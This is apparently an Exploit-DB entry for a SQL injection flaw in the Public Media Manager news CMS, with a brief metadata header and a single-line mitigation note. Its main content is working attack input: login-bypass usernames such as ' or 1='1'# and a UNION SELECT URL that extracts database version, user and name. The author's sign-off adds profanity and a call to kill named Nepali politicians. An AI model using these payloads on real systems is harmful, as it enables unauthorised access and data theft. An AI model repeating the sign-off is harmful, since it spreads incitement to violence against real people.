Public Media Manager SQLi vulns

vendor:

Public Media Manager

by:

learn3r hacker from Nepal

CVSS

HIGH

SQL Injection

CWE

Product Name: Public Media Manager

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Public Media Manager SQLi vulns

This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login system. Also, it suffers from SQLi in the GET variables which can be exploited to get different information from the database.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

Source

Exploit-DB raw data:

#################################################
# Public Media Manager SQLi vulns #
# By learn3r hacker from Nepal #
# damagicalhacker@gmail.com #
#################################################

Product name: Public Media Manager

This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login system.
Also, it suffers from SQLi in the GET variables which can be exploited to get different information from the database.

################ SQL Login Bypass #################

Admin panel located at: /newsdb

Username: validuser'# [eg. admin'#]
Password: learn3r [or whatever]

Username: ' or 1='1'#
Password: learn3r [ or whatever]

################ SQL Injections ##################

[+] Exploit:

http://localhost/pmm-cms/NewsCMS/newsdb/fullstory.php?storyid=-1+union+all+select+1,concat(@@version,0x3a,user(),0x3a,database())

Maybe there are more vulns but I can't give more time in auditing codes.

Greetz to: sToRm(Thanks a lot bro) and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar...
We need political stability and economic development in Nepal and you motherfuckers are terrorizing in the name of political parties. So BIG FUCK YOUs to all the political parties and leaders of Nepal.

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!